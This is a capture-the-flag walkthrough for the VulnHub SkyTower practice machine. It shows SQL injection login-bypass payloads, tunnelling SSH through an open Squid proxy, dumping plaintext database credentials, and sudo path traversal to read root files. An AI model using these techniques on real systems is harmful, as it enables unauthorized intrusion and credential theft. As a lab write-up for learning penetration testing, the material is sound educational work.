VulnHub SkyTower Writeup - A Beginner’s Guide to Ethical Hacking
Introduction
This writeup details the process of compromising the SkyTower machine from VulnHub, a platform that provides virtual machines for practicing ethical hacking skills. This guide is designed for beginners and will explain each step in detail, including the tools used and the reasoning behind each action.
Initial Reconnaissance
Identifying the Target Machine
The first task in any penetration testing scenario is to identify the target machine on the network. We use a tool called nmap (Network Mapper) to scan our subnet and discover active hosts.
1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/vulnhub/skyTower]
└─$ nmap 192.168.56.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-03 12:31 EDT
Nmap scan report for 192.168.56.101
Host is up (0.00030s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp filtered ssh
80/tcp open http
3128/tcp open squid-http
In this output, we can see that the IP address 192.168.56.101 has three interesting ports:
- Port 22 (SSH) is filtered, which means there’s likely a firewall blocking direct access.
- Port 80 (HTTP) is open, indicating a web server.
- Port 3128 (Squid HTTP Proxy) is open, which could be useful for pivoting later.
Detailed Port Scan
Once we’ve identified our target, we perform a more detailed scan of the open ports to gather more information about the services running on them.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~/vulnhub/skyTower]
└─$ nmap 192.168.56.101 -p 22,80,3128 -sVC
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-03 12:31 EDT
Nmap scan report for 192.168.56.101
Host is up (0.00024s latency).
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Debian)
3128/tcp open http-proxy Squid http proxy 3.1.20
|_http-server-header: squid/3.1.20
|_http-title: ERROR: The requested URL could not be retrieved
This scan provides more details about each service:
- Port 22 (SSH) is still shown as filtered.
- Port 80 is running Apache httpd 2.2.22 on Debian.
- Port 3128 is running Squid http proxy version 3.1.20.
Web Application Exploitation HTTP 80
Exploring the Web Application
Next, we navigate to the web application running on port 80. While the writeup doesn’t provide details about the initial page, we can assume it contains a login form that we’ll try to exploit.
SQL Injection Attempt
On the main page there is a login form. We attempt a simple SQL injection by inputting the following into the login form:
1
' or 1==1;--
This results in an error message:
1
There was an error running the query [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '11;' and password='' 11;'' at line 1]
This error message confirms that the application is vulnerable to SQL injection, but there seems to be some filtering in place.
Step 5: Refining the SQL Injection
We try a different SQL injection payload:
1
' || 1=1#
This payload successfully bypasses the login mechanism, and we’re presented with the following message:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
**Welcome john@skytech.com**
**As you may know, SkyTech has ceased all international operations.**
To all our long term employees, we wish to convey our thanks for your dedication and hard work.
**Unfortunately, all international contracts, including yours have been terminated.**
The remainder of your contract and retirement fund, **$2**, has been payed out in full to a secure account. For security reasons, you must login to the SkyTech server via SSH to access the account details.
**Username: john**
**Password: hereisjohn**
We wish you the best of luck in your future
This message provides us with SSH credentials for a user named “john”.
Gaining Initial Access
Attempting SSH Access
Attempting to SSH directly into the machine doesn’t work, as we discovered earlier that port 22 is filtered. However, we can use the Squid proxy we found on port 3128 to bypass this restriction.
Setting Up a Proxy Tunnel
We use the proxytunnel tool to set up a tunnel through the Squid proxy:
1
proxytunnel -p 192.168.56.101:3128 -d 127.0.0.1:22 -a 1234
This command forwards traffic from our local port 1234 to the internal VM’s port 22 (SSH) through the proxy server.
SSH Access via Proxy
We can now SSH into the machine using the proxy tunnel:
1
2
3
4
5
6
┌──(kali㉿kali)-[~/vulnhub/skyTower]
└─$ ssh john@localhost -p 1234 /bin/bash
john@localhost's password:
whoami
john
rm .bashrc
We append /bin/bash to force the connection to stay open and then remove .bashrc to prevent it from causing issues.
Privilege Escalation
Enumerating the System
We explore the file system and find the source code of the web application in /var/www/html/login.php. This file contains database credentials:
1
2
3
4
<?php
$db = new mysqli('localhost', 'root', 'root', 'SkyTech');
Accessing the Database
Using these credentials, we can access the MySQL database:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
mysql -uroot -proot
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| SkyTech |
| mysql |
| performance_schema |
+--------------------+
mysql> use SkyTech;
Database changed
mysql> show tables;
+-------------------+
| Tables_in_SkyTech |
+-------------------+
| login |
+-------------------+
1 row in set (0.00 sec)
mysql> select * from login;
+----+---------------------+--------------+
| id | email | password |
+----+---------------------+--------------+
| 1 | john@skytech.com | hereisjohn |
| 2 | sara@skytech.com | ihatethisjob |
| 3 | william@skytech.com | senseable |
+----+--------------------
We’ve now discovered credentials for two additional users: sara and william.
Lateral Movement to Sara
We use Sara’s credentials to gain access to her account:
1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/vulnhub/skyTower]
└─$ ssh sara@localhost -p 1234
sara@localhost's password:
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Sep 3 12:56:54 2024 from localhost
We discover that Sara has sudo privileges to run cat and ls on files in the /accounts/ directory.
1
2
3
4
5
6
sara@SkyTower:~$ sudo -l
Matching Defaults entries for sara on this host:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sara may run the following commands on this host:
(root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*
Exploiting Sudo Privileges
We can use Sara’s sudo privileges to read files outside of the /accounts/ directory by using path traversal:
1
2
3
4
sara@SkyTower:~$ sudo cat /accounts/../../../root/flag.txt
Congratz, have a cold one to celebrate!
root password is theskytower
sara@SkyTower:~$
This allows us to read the root flag and obtain the root password.
Conclusion
In this walkthrough, we successfully compromised the SkyTower machine by:
- Discovering open ports and services using nmap.
- Exploiting a SQL injection vulnerability in the web application.
- Using a proxy tunnel to bypass firewall restrictions.
- Enumerating the system to find database credentials.
- Performing lateral movement to access a user with sudo privileges.
- Exploiting sudo privileges to read sensitive files and obtain root access.
This demonstrates the importance of proper input validation, secure network configuration, and the principle of least privilege in maintaining system security. Remember, these techniques should only be used in authorized, ethical hacking scenarios or on your own systems for educational purposes.